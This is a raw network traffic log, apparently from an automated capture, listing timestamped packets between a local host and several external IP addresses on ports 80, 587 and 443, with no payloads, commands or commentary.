Mar 3, 2021 07:33:45.922877073 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922898054 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922898054 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.922918081 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922935963 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922941923 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.922957897 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922977924 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.922981977 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.922998905 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923018932 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923029900 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.923037052 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923059940 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923060894 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.923079014 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923095942 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923101902 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.923118114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923136950 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923155069 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.923156977 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923177004 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923188925 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.923227072 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.923851013 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923876047 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923898935 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923919916 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923943996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923965931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.923968077 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.923986912 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924009085 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.924010992 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924031973 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924052000 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924065113 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.924072981 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924096107 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924102068 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.924118042 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924140930 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924140930 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.924180984 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.924606085 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924631119 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924654961 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924679041 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924701929 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924716949 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.924720049 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924741983 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924748898 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.924762011 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924783945 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924793005 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.924806118 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924822092 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.924827099 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924844980 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924848080 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.924866915 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924885988 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.924886942 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924905062 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924926996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924926996 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.924945116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.924984932 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.925590992 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925609112 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925620079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925642967 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925666094 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925676107 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.925687075 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925703049 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.925705910 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925726891 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.925728083 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925748110 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925759077 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.925767899 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925787926 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925791979 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.925808907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925829887 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.925832987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925853968 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925877094 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925894022 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.925899982 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925923109 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.925929070 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.925962925 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.926662922 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926681995 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926707983 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926728964 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926748991 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926759005 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.926765919 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926791906 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926798105 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.926814079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926820040 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.926834106 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926853895 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926856041 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.926873922 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926892996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926896095 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.926909924 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926928997 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.926935911 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.926980019 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.934895039 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.967437029 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967464924 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967475891 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967509985 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967533112 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967554092 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967554092 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.967575073 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967596054 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967605114 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.967613935 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967636108 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.967637062 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967657089 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967679024 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967701912 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967704058 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.967715025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967736006 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967740059 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.967753887 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967778921 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967783928 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.967799902 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967819929 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967827082 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.967840910 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967853069 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.967861891 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967881918 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967885017 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.967901945 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967922926 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967925072 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.967942953 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967962980 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.967983007 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.967983007 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968003035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968023062 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968024969 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.968045950 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968051910 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.968065977 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968092918 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.968672991 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968702078 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968728065 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968730927 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.968753099 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968776941 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968782902 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.968799114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968823910 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.968826056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968854904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968875885 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.968880892 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968899965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968919992 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.968926907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968943119 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968970060 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.968972921 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.968993902 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969010115 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.969014883 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969033003 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969053030 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.969058990 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969099045 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.969636917 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969662905 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969686985 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969707966 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969721079 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.969727039 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969750881 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969758034 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.969772100 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969788074 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969799995 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.969811916 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969834089 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969849110 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969866991 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.969877958 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969883919 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.969899893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969917059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969932079 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.969944000 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969966888 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.969966888 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.969990015 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.970107079 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.970572948 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.970597029 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.970621109 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.970622063 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.970645905 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.970662117 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.970671892 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.970690012 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.970712900 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984117985 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984143972 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984165907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984189034 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984189987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984214067 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984237909 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984244108 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984261036 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984286070 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984286070 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984308958 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984309912 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984332085 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984353065 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984355927 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984375954 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984395981 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984395981 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984417915 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984440088 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984451056 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984461069 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984479904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984497070 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984525919 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984539986 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984565973 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984586000 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984606028 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984615088 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984627962 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984637976 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984647989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984668016 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984685898 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984699011 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984740019 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.984958887 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.984980106 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.985003948 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.985028028 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.985050917 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.985052109 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.985068083 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:45.985090017 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:45.985117912 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:46.026101112 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:46.026356936 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:46.183347940 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:46.183623075 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:46.311597109 CET	49794	80	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:46.334536076 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:46.334650040 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:46.335067034 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:46.335177898 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:46.350081921 CET	80	49794	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:46.350229025 CET	49794	80	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:46.350569963 CET	49794	80	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:46.354078054 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:46.354294062 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:46.354448080 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:46.354568005 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:46.354670048 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:46.354779959 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:46.389034033 CET	80	49794	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:46.390043020 CET	80	49794	13.225.80.63	192.168.2.4
Mar 3, 2021 07:33:46.455073118 CET	49794	80	192.168.2.4	13.225.80.63
Mar 3, 2021 07:33:46.485991001 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:46.505184889 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:46.505264044 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:46.505466938 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:46.513128996 CET	587	49791	35.208.150.174	192.168.2.4
Mar 3, 2021 07:33:46.564287901 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:46.626156092 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.664753914 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.664998055 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.665644884 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.704121113 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.707663059 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.707705021 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.707745075 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.707844973 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.711175919 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.711333990 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.719563961 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.758116961 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.759757996 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.840394020 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.851970911 CET	49791	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:33:46.878885984 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.881273985 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.881320000 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.881350994 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.881382942 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.881495953 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.881519079 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.881520987 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.881550074 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.881607056 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.882292032 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.882332087 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.882391930 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.883375883 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.883421898 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.883491993 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.884464025 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.884504080 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.884603977 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.886203051 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.886243105 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.886615038 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.886652946 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.886655092 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.886725903 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:33:46.887715101 CET	443	49795	13.225.80.53	192.168.2.4
Mar 3, 2021 07:33:46.887780905 CET	443	49795	13.225.80.53	192.168.2.4
